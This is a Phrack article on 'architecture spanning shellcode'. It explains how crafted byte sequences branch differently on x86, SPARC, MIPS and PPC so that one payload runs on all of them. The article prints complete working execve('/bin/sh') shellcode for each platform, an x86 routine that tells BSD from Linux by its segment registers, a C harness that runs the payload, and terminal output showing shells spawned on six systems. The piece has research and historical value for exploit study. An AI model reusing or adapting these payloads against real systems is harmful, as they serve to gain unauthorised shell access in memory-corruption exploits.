==Phrack Inc.==

 

Volume 0x0b, Issue 0x39, Phile #0x0e of 0x12

 

|=---------------=[ Architecture Spanning Shellcode ]=-------------------=|

|=-----------------------------------------------------------------------=|

|=--------------------=[ eugene@gravitino.net ]=-------------------------=|

 

 

 

Introduction

------------

 

At defcon8 caezar's challenge 4 party [1] a problem was present to write

a shellcode that would run on two or more processor platforms. Below you

will find my solution (don't forget to check the credits section).

 

The general idea behind an architecture spanning shellcode is trying

to come up with a sequence of bytes that would execute a jump instruction

on one architecture while executing a nop-like instruction on another

architecture. That way we can branch to architecture specific code

depending on the platform our code is running on.

 

Here is an ASCII representation of our byte stream:

 

XXX

arch1 shellcode

arch2 shellcode

 

where XXX is a sequence of bytes that is going to branch to arch2's

shellcode on architecture 2 and is going to fall through to arch1

shellcode on architecture 1.

 

If we want to add more platforms we would need to add additional

jump/nop instructions for each additional platform.

 

 

 

MIPS architecture

------------------

 

A brief introduction to the MIPS architecture and writing MIPS shellcode

was described by scut in phrack 56 [2] as well as by the LSD folks in their

paper [8].

 

The only thing that is worse repeating here is the general MIPS

instruction format. All MIPS instructions occupy 32 bits and the sixth most

significant bits specify the instruction opcode [6][7]. There are 3

instruction formats: I-Type (immediate), J-Type (Jump) and

R-Type (Register). Since we are looking for a nop-like instructions we are

mostly interesting in I and R type instructions whose format is listed

below.

 

 

I-Type instruction format:

 

31 30 29 28 27 26|25 24 23 22 21| 20 19 18 17 16| 15 .. 0

op | rs | rt | immediate

 

fields are:

op 6-bit operation code

rs 5-bit source register specifier

rt 5-bit target (src/dest) or branch condition

immediate 16-bit immediate, branch or address displacement

 

 

 

R-Type instruction format:

 

31 30 29 28 27 26|25 24 23 22 21| 20 19 18 17 16| 15 14 131211|109876|5..0

op | rs | rt | rd | shamt|funct

 

fields are:

op 6-bit operation code

rs 5-bit source register specifier

rt 5-bit target (src/dest) or branch condition

rd 5-bit destination register specifier

shamt 5-bit shift amount

funct 6-bit function field

 

 

 

Sparc architecture

------------------

 

Similarly to MIPS, Sparc is a RISC based architecture. All the Sparc

instructions occupy 32 bits and the two most significant bits specify an

instruction class [4]:

 

 

op Instruction Class

 

00 Branch instructions

01 call instruction

10 Format Three instructions (type 1)

11 Format Three instructions (type 2)

 

 

Format one call instruction contains an op field '01' followed by 30 bits

of address. Even though this is the optimal instruction to use, since we

control 30 bits out of 32, we won't be able to use it since the jumps are

not relative and tend to have 0 bytes in them.

 

Format three instructions (type 2) are mostly load/store instructions

which are mostly useless to us since we are only looking for relatively

harmless nop-like instructions. We definitely don't want to use anything

that has possibility of crashing our program (SIGSEGV in case of an illegal

load/store).

 

This leaves us with branch and format three instructions (type 1) to use.

Here is the format of a format three instruction:

 

 

31 30 |29 28 27 26 25|24 23 22 21 20 19|18 17 16 15 14|13|12 11 10 9 8 7..0

op | rd | op3 | rs1 |01| rs2 / imm

 

fields are:

op 2-bit instruction class (10)

rd 5-bit destination register specifier

op3 5-bit instruction specifier

rs1 5-bit source register

0/1 1-bit constant / second source register option

rs2 / imm 13-bit specifies either a second source register or

a constant

 

Some of the promising looking (harmless) format three instructions are

add, and, or, xor and sll/srl (specified by op3 bits).

 

And here is the branch instruction format:

 

31 30 |29|28 27 26 25|24 23 22|21 .. 0

op |a | condition | op2 |displacement

 

fields are:

op 2-bit instruction class (00)

a 1-bit annulled flag

condition 5-bit condition specifier.. ba, bn, bl, ble, be, etc

op2 3-bit condition code (integer condition code is 010)

displacement 22-bit address displacement

 

 

As you can see, a lot of the fields already have predefined values which

we need to work around.

 

 

PPC architecture

----------------

 

PowerPC is yet another RISC architecture used by vendors such as IBM and

Apple. See LSD's paper [8] for more information.

 

 

x86 architecture

----------------

 

The topic of buffer overflows and shellcode on x86 architecture has been

beaten to death before. For a good introduction see Aleph1's article in

phrack 49 [3].

 

To expand just a little bit on the topic I am going to present x86 code

that works on multiple x86 operating systems. The idea behind an

"OS spanning" shellcode is to setup all the registers and stack in such a

way as to satisfy the requirements of all the operating systems that our

shellcode is meant to execute on. For example, BSD passes its parameters on

stack while Linux uses registers (for passing arguments to syscalls). If we

setup both registers and stack than our code would run on both BSD and

Linux x86 systems. The only problem with writing shellcode for BSD & Linux

systems is the different execve() syscall numbers the two systems use.

Linux uses syscall number 0xb while BSD uses 0x3b. To overcome this

problem, we need to distinguish between the two systems at runtime.

There are plenty of ways to do that such as checking where various segments

are mapped, the way segment registers are setup, etc. I chose to analyze

the segment registers since that method seems to be pretty robust. On Linux

systems, for example, segment registers fs and gs are set 0 (in user mode)

while on BSD systems they are set to non zero values (0x1f on OpenBSD,

0x2f on FreeBSD). We can exploit that difference to distinguish between the

two different systems. See "Adding more architectures" section for a

working example.

 

Another way to to handle different syscall numbers is to ignore an

"invalid system call" SIGSYS signal and just try a different syscall number

if the first execve() call failed. While that method certainly works it

is quite limited and cannot be applied to other operating systems such as

the x86 Solaris which doesn't use the 0x80 interrupt trap gate.

 

Note that the "OS Spanning" shellcode is certainly not restricted to an

x86 platform, the same idea can be applied to any hardware platform and any

operating system.

 

 

 

Putting it all together.. Architecture spanning shellcode

---------------------------------------------------------

 

As I have mentioned before our shellcode (first attempt) is going to look

like

 

XXX

arch1 shellcode

arch2 shellcode

 

where XXX is a specially crafted string that executes different

instructions on two different platforms.

 

When I initially started looking for a working XXX string, I took an x86

short jump instruction and tried to decode it on a sun box. Since the

first byte of an x86 short jump instruction is 0xEB (which is almost all

1's) [5], the instruction decoded into a weird format 3 sparc instruction.

My next attempt consisted of writing a sparc jump instruction and trying to

decode it on an x86 platform. That idea almost worked but i was unable to

decode the sparc jump instruction into a nop-like x86 xor instruction due

to a one bit offset difference. The next attempt consisted of padding an

x86 jump instruction. Since an x86 short jump instruction is 2 bytes long

and all the sparc instructions are 4 bytes long, I had 2 bytes to play

with. I knew that I had to insert some bytes before the jump 0xEB byte in

order to be able to decode the instruction into something reasonable on

sparc. For my pad bytes I chose to use the x86 0x90 nop bytes which turned

out to be a good idea since 0x90 is mostly all 0's. My instruction stream

than looked like

 

\x90\x90\xeb\x30

 

where 0x90 is the x86 nop instruction, 0xEB is the opcode for an x86 short

jump and 0x30 is a 48 byte jump offset. Here is what the above string

decoded to on a Sun machine:

 

(gdb) x 0x1054c

0x1054c <main+20>: 0x9090eb30

 

(gdb) x/t 0x1054c

0x1054c <main+20>: 10010000100100001110101100110000

 

(gdb) x/i 0x1054c

0x1054c <main+20>: orcc %g3, 0xb30, %o0

 

As you can see, our string decoded to a harmless format 3 'or'

instruction that corrupted the %o0 register. This is exactly what we were

looking for, a short jump on one architecture (x86) and a harmless

instruction on another architecture (sparc). With that in mind our

shellcode now looks like this:

 

\x90\x90\xeb\x30

[sparc shellcode]

[x86 shellcode]

 

 

Let's try it out..

 

 

[openbsd]$ cat ass.c ; ass as in Architecture Spanning Shellcode :)

char sc[] =

/* magic string */

"\x90\x90\xeb\x30"

 

/* sparc solaris execve() */

"\x2d\x0b\xd8\x9a" /* sethi $0xbd89a, %l6 */

"\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 */

"\x2f\x0b\xdc\xda" /* sethi $0xbdcda, %l7 */

"\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 */

"\x92\x03\xa0\x08" /* add %sp, 8, %o1 */

"\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */

"\x9c\x03\xa0\x10" /* add %sp, 0x10, %sp */

"\xec\x3b\xbf\xf0" /* std %l6, [%sp - 0x10] */

"\xdc\x23\xbf\xf8" /* st %sp, [%sp - 0x08] */

"\xc0\x23\xbf\xfc" /* st %g0, [%sp - 0x04] */

"\x82\x10\x20\x3b" /* mov $0x3b, %g1 */

"\x91\xd0\x20\x08" /* ta 8 */

 

/* BSD execve() */

"\xeb\x17" /* jmp */

"\x5e" /* pop %esi */

"\x31\xc0" /* xor %eax, %eax */

"\x50" /* push %eax */

"\x88\x46\x07" /* mov %al,0x7(%esi) */

"\x89\x46\x0c" /* mov %eax,0xc(%esi) */

"\x89\x76\x08" /* mov %esi,0x8(%esi) */

"\x8d\x5e\x08" /* lea 0x8(%esi),%ebx */

"\x53" /* push %ebx */

"\x56" /* push %esi */

"\x50" /* push %eax */

"\xb0\x3b" /* mov $0x3b, %al */

"\xcd\x80" /* int $0x80 */

"\xe8\xe4\xff\xff\xff" /* call */

"\x2f\x62\x69\x6e\x2f\x73\x68"; /* /bin/sh */

 

 

int main(void)

{

void (*f)(void) = (void (*)(void)) sc;

 

f();

 

return 0;

}

 

 

[openbsd]$ gcc ass.c

[openbsd]$ ./a.out

$ uname -ms

OpenBSD i386

 

[solaris]$ gcc ass.c

[solaris]$ ./a.out

$ uname -ms

SunOS sun4u

 

it worked!

 

 

 

Adding more architectures

-------------------------

 

Theoretically, spanning shellcode is not tied to any specific operating

system nor any specific hardware architecture. Thus it should be possible

to write shellcode that runs on more than two architectures. The format

for our shellcode (second attempt) that runs on 3 architectures is going

to be

 

XXX

YYY

arch1 shellcode

arch2 shellcode

arch3 shellcode

 

where arch1 is MIPS, arch2 is Sparc and arch3 is x86.

 

My first attempt was to try and reuse the magic string from ass.c.

Unfortunately, 0x9090eb30 didn't decode into anything reasonable on an IRIX

platform and so I was forced to look elsewhere. My next attempt was to

replace 0x90 bytes with some other nop-like bytes looking for a sequence

that would work on both Sparc & MIPS platforms. After a trying out a bunch

of x86 nop instructions from K2's ADMmutate toolkit, I stumbled upon an AAA

instruction whose opcode was 0x37. The AAA instruction worked out great

since the 0x3737eb30 string decoded correctly on all three platforms:

 

x86:

aaa

aaa

jmp +120

 

sparc:

sethi %hi(0xdFADE000), %i3

 

mips:

ori $s7,$t9,0xeb78

 

 

with XXX string out of the way, I was left with MIPS and Sparc platforms

YYY part. The very first instruction I tried worked on both platforms.

The instruction was a Sparc annulled short jump ba,a (0x30800012) which

decoded to

 

andi $zero,$a0,0x12

 

on a MIPS platform. Not only did the jump instruction decoded to a harmless

'andi' on a MIPS platform, it also didn't require a branch delay slot

instruction after it since the ba jump was annulled [4].

So now our shellcode looks like this

 

 

"\x37\x37\xeb\x78" /* x86: aaa; aaa; jmp 116+4 */

/* MIPS: ori $s7,$t9,0xeb78 */

/* Sparc: sethi %hi(0xdfade000),%i3*/

 

"\x30\x80\x00\x12" /* MIPS: andi $zero,$a0,0x12 */

/* Sparc: ba,a +72 */

 

[snip real shellcode]

 

 

While we are adding more architectures to our shellcode let's also take

a look at PPC/AIX. The first logical thing to do is to try and decode

the existing XXX and YYY strings from the above shellcode on the PPC

platform:

 

(gdb) x 0x10000364

0x10000364 <main+36>: 0x3737eb78

 

(gdb) x/i 0x10000364

0x10000364 <main+36>: addic. r25,r23,-5256

 

(gdb) x/x 0x10000368

0x10000368 <main+40>: 0x30800012

 

(gdb) x/i 0x10000368

0x10000368 <main+40>: addic r4,r0,18

 

is this our lucky day or what? the XXX and YYY strings from the above

MIPS/x86/Sparc combo have correctly decoded to two harmless add

instructions. All we need to do now is to come up with another instruction

that is going to execute a jump on a MIPS platform while executing a nop on

PPC/AIX. After a bit of searching MIPS 'bgtz' instruction turned out to

decode into a valid multiply instruction on AIX:

 

 

[MIPS]

(gdb) x 0x10001008

0x10001008 <sc+8>: 0x1ee00101

 

(gdb) x/i 0x10001008

0x10001008 <sc+8>: bgtz $s7,0x10001410 <+1040>

 

 

[AIX]

(gdb) x 0x10000378

0x10000378 <main+56>: 0x1ee00101

 

(gdb) x/i 0x10000378

0x10000378 <main+56>: mulli r23,r0,257

 

the bgtz instruction is a branch on greater than zero [7]. Notice that the

branch instruction uses the $s7 register which was modified by us in a

previous nop instruction. The branch displacement is set to 0x0101 (to

avoid NULL bytes in the instruction) which is equivalent to a relative

1028 byte forward jump. Let's put everything together now..

 

 

 

[openbsd]$ cat ass.c

 

/*

* Architecture/OS Spanning Shellcode

*

* runs on x86 (freebsd, netbsd, openbsd, linux), MIPS/Irix, Sparc/Solaris

* and PPC/AIX (AIX platforms require -DAIX compiler flag)

*

* eugene@gravitino.net

*/

 

char sc[] =

/* voodoo */

"\x37\x37\xeb\x7b" /* x86: aaa; aaa; jmp 116+4 */

/* MIPS: ori $s7,$t9,0xeb7b */

/* Sparc: sethi %hi(0xdFADEc00), %i3 */

/* PPC/AIX: addic. r25,r23,-5253 */

 

"\x30\x80\x01\x14" /* MIPS: andi $zero,$a0,0x114 */

/* Sparc: ba,a +1104 */

/* PPC/AIX: addic r4,r0,276 */

 

"\x1e\xe0\x01\x01" /* MIPS: bgtz $s7, +1032 */

/* PPC/AIX: mulli r23,r0,257 */

 

"\x30\x80\x01\x14" /* fill in the MIPS branch delay slot

with the above MIPS / AIX nop */

 

 

/* PPC/AIX shellcode by LAST STAGE OF DELIRIUM *://lsd-pl.net/ */

"\x7e\x94\xa2\x79" /* xor. r20,r20,r20 */

"\x40\x82\xff\xfd" /* bnel <syscallcode> */

"\x7e\xa8\x02\xa6" /* mflr r21 */

"\x3a\xc0\x01\xff" /* lil r22,0x1ff */

"\x3a\xf6\xfe\x2d" /* cal r23,-467(r22) */

"\x7e\xb5\xba\x14" /* cax r21,r21,r23 */

"\x7e\xa9\x03\xa6" /* mtctr r21 */

"\x4e\x80\x04\x20" /* bctr */

 

"\x04\x82\x53\x71"

"\x87\xa0\x89\xfc"

"\x69\x68\x67\x65"

 

"\x4c\xc6\x33\x42" /* crorc cr6,cr6,cr6 */

"\x44\xff\xff\x02" /* svca 0x0 */

"\x3a\xb5\xff\xf8" /* cal r21,-8(r21) */

 

"\x7c\xa5\x2a\x79" /* xor. r5,r5,r5 */

"\x40\x82\xff\xfd" /* bnel <shellcode> */

"\x7f\xe8\x02\xa6" /* mflr r31 */

"\x3b\xff\x01\x20" /* cal r31,0x120(r31) */

"\x38\x7f\xff\x08" /* cal r3,-248(r31) */

"\x38\x9f\xff\x10" /* cal r4,-240(r31) */

"\x90\x7f\xff\x10" /* st r3,-240(r31) */

"\x90\xbf\xff\x14" /* st r5,-236(r31) */

"\x88\x55\xff\xf4" /* lbz r2,-12(r21) */

"\x98\xbf\xff\x0f" /* stb r5,-241(r31) */

"\x7e\xa9\x03\xa6" /* mtctr r21 */

"\x4e\x80\x04\x20" /* bctr */

"/bin/sh"

 

 

/* x86 BSD/Linux execve() by me */

"\xeb\x29" /* jmp */

"\x5e" /* pop %esi */

"\x31\xc0" /* xor %eax, %eax */

"\x50" /* push %eax */

"\x88\x46\x07" /* mov %al,0x7(%esi) */

"\x89\x46\x0c" /* mov %eax,0xc(%esi) */

"\x89\x76\x08" /* mov %esi,0x8(%esi) */

"\x8d\x5e\x08" /* lea 0x8(%esi),%ebx */

"\x53" /* push %ebx */

"\x56" /* push %esi */

"\x50" /* push %eax */

 

/* setup registers for linux */

"\x8d\x4e\x08" /* lea 0x8(%esi),%ecx */

"\x8d\x56\x08" /* lea 0x8(%esi),%edx */

"\x89\xf3" /* mov %esi, %ebx */

 

/* distinguish between BSD & Linux */

"\x8c\xe0" /* movl %fs, %eax */

"\x21\xc0" /* andl %eax, %eax */

"\x74\x04" /* jz +4 */

"\xb0\x3b" /* mov $0x3b, %al */

"\xeb\x02" /* jmp +2 */

"\xb0\x0b" /* mov $0xb, %al */

 

"\xcd\x80" /* int $0x80 */

 

"\xe8\xd2\xff\xff\xff" /* call */

"\x2f\x62\x69\x6e" /* /bin */

"\x2f\x73\x68" /* /sh */

 

 

/*

* pad the MIPS/Irix & Sparc/Solaris shellcodes

* jumps of > 0x0101 bytes are performed on both platforms

* to avoid NULL bytes in the jump instructions

*/

"2359595912811011811145128130124118116118121114127231291301241171"

"2911813245571341291181211101231241181291101234512913012411712911"

"8132455712712412112411245123118120128451291301241171291181324512"

"9128118133114451141004559113130110111451141171294511512445134129"

"1301101141112311411712945571171121291181321284511411712945113123"

"1104512312412712911211412111445114117129451151244511312112712413"

"2451141171294559595913212412345113121127124132451271301244512811"

"8451281181179797117118128451181284512413012745132124127121113451"

"2312413259595945129117114451321241271211134512411545129117114451"

"1412111411212912712412345110123113451291171144512813211812911211"

"7574512911711423111114110130129134451241154512911711445111110130"

"1135945100114451141331181281294513211812911712413012945128120118"

"1234511212412112412757451321181291171241301294512311012911812412"

"31101211181291345745132118"

 

 

/* 68 byte MIPS/Irix PIC execve shellcode. -scut/teso */

"\xaf\xa0\xff\xfc" /* sw $zero, -4($sp) */

"\x24\x06\x73\x50" /* li $a2, 0x7350 */

"\x04\xd0\xff\xff" /* bltzal $a2, dpatch */

"\x8f\xa6\xff\xfc" /* lw $a2, -4($sp) */

 

/* a2 = (char **) envp = NULL */

"\x24\x0f\xff\xcb" /* li $t7, -53 */

"\x01\xe0\x78\x27" /* nor $t7, $t7, $zero */

"\x03\xef\xf8\x21" /* addu $ra, $ra, $t7 */

 

/* a0 = (char *) pathname */

"\x23\xe4\xff\xf8" /* addi $a0, $ra, -8 */

 

/* fix 0x42 dummy byte in pathname to shell */

"\x8f\xed\xff\xfc" /* lw $t5, -4($ra) */

"\x25\xad\xff\xbe" /* addiu $t5, $t5, -66 */

"\xaf\xed\xff\xfc" /* sw $t5, -4($ra) */

 

/* a1 = (char **) argv */

"\xaf\xa4\xff\xf8" /* sw $a0, -8($sp) */

"\x27\xa5\xff\xf8" /* addiu $a1, $sp, -8 */

 

"\x24\x02\x04\x23" /* li $v0, 1059 (SYS_execve) */

"\x01\x01\x01\x0c" /* syscall */

"\x2f\x62\x69\x6e" /* .ascii "/bin" */

"\x2f\x73\x68\x42" /* .ascii "/sh", .byte 0xdummy */

 

 

/* Sparc Solaris execve() by an unknown author */

"\x2d\x0b\xd8\x9a" /* sethi $0xbd89a, %l6 */

"\xac\x15\xa1\x6e" /* or %l6, 0x16e, %l6 */

"\x2f\x0b\xdc\xda" /* sethi $0xbdcda, %l7 */

"\x90\x0b\x80\x0e" /* and %sp, %sp, %o0 */

"\x92\x03\xa0\x08" /* add %sp, 8, %o1 */

"\x94\x1a\x80\x0a" /* xor %o2, %o2, %o2 */

"\x9c\x03\xa0\x10" /* add %sp, 0x10, %sp */

"\xec\x3b\xbf\xf0" /* std %l6, [%sp - 0x10] */

"\xdc\x23\xbf\xf8" /* st %sp, [%sp - 0x08] */

"\xc0\x23\xbf\xfc" /* st %g0, [%sp - 0x04] */

"\x82\x10\x20\x3b" /* mov $0x3b, %g1 */

"\x91\xd0\x20\x08" /* ta 8 */

;

 

 

int main(void)

{

#if defined(AIX)

/* copyright LAST STAGE OF DELIRIUM feb 2001 poland */

int jump[2]={(int)sc,*((int*)&main+1)};

 

((*(void (*)())jump)());

#else

void (*f)(void) = (void (*)(void)) sc;

 

f();

#endif

 

return 0;

}

 

 

[openbsd]$ gcc ass.c

[openbsd]$ ./a.out

$ uname -ms

OpenBSD i386

 

[freebsd]$ gcc ass.c

[freebsd]$ ./a.out

$ uname -ms

FreeBSD i386

 

[linux]$ gcc ass.c

[linux]$ ./a.out

$ uname -ms

Linux i686

 

[solaris]$ gcc ass.c

[solaris]$ ./a.out

$ uname -ms

SunOS sun4u

 

[irix]$ gcc ass.c

[irix]$ ./a.out

$ uname -ms

IRIX IP22

 

[aix]$ gcc ass.c

[aix]$ ./a.out

$ uname -ms

AIX 000089101000

 

 

 

Conclusion

-----------

 

Architecture spanning shellcode is a specially crafted code that executes

differently depending on the architecture it is being run on. The code

achieves that by using a series of bytes which execute differently on

different architectures.

 

OS spanning shellcode is specially crafted code that executes on

multiple operating systems all running on the same platform. The code

achieves that by setting up the registers and the stack in a way that

satisfies the operating systems that the code is being run on.

 

 

 

Credits / Thanks

----------------

 

Greg Hoglund working with me on this idea at the challenge party

 

prole and harm for coming with an idea way before the challenge

http://www.redgeek.net/~prole/ASSC.txt

 

gravitino.net, GHI, skyper, spoonm

 

 

 

References

----------

 

[1] Caezar's challenge

http://www.caezarschallenge.org

 

[2] Writing MIPS/IRIX shellcode

scut (phrack 56)

 

[3] Smashing The Stack For Fun And Profit

Aleph One (phrack 49)

 

[4] SPARC Architecture, Assembly Language Programming, and C. 2nd ed.

Richard P. Paul

 

[5] IA-32 Intel Architecture, Software Developer's Manual

Intel, Corp

http://developer.intel.com

 

[6] Computer Organization and Design

David A. Patterson and John L. Hennessy

 

[7] MIPS RISC Architecture

Gerry Kane and Joe Heinrich

 

[8] UNIX Assembly Codes Development for Vulnerabilities Illustration

Purposes

The Last Stage of Delirium Research Group http://lsd-pl.net

 

|=[ EOF ]=---------------------------------------------------------------=|